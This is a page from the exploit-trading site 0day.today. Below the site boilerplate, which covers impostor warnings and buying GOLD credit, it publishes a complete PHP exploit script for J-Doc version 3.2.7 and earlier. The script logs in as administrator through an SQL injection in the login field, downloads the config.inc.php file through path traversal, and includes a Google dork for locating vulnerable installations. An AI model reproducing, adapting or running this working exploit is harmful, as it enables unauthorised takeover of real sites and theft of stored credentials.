0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
J-Doc <= v3.2.7 SQL Injection + Arbitrary download file
<?php # Exploit Title: J-Doc <= v3.2.7 : SQL Injection + Arbitrary download file # Date: 2012-08-10 # Author: leviathan # Vendor or Software Link: http://www.j-doc.com/ # Version: <= 3.2.7 # Category:: webapps # Google dork: intext:"Système de partage de documents par Projet" # Tested on: GNU/Linux with TeamPass 3.2.7 - PHP 5.3.2 with magic_quotes = 0 # Demo site: // The vulnerable website $base_url = 'http://localhost'; $folder = '/jdoc/'; $file_to_download = '../config.inc.php'; // related to the stock_fichiers/fichiers_objet folder // Use cookies to keep connection $cookies_file = __DIR__.DIRECTORY_SEPARATOR.'cookiesjdoc'; if (file_exists($cookies_file) === true) { unlink($cookies_file); } // The SQLi to login as administrator $post_array = array('login' => 'lol\' or id_utilisateur = 1 -- ', 'password' => 'lol'); // Connection $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $base_url.$folder.'index.php'); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookies_file); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_array); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($curl); if ($output != '<script type="text/javascript"> window.location.replace("'.$folder.'module_fichier/"); </script>') { die('error in the exploit'); } // Get the configuration file $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $base_url.$folder.'/divers/fichier_joint_telecharger.php?module_dossier=module_fichier&id_fichier=../config.inc.php'); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookies_file); $response = curl_exec($curl); echo $response; # 0day.today [2024-12-24] #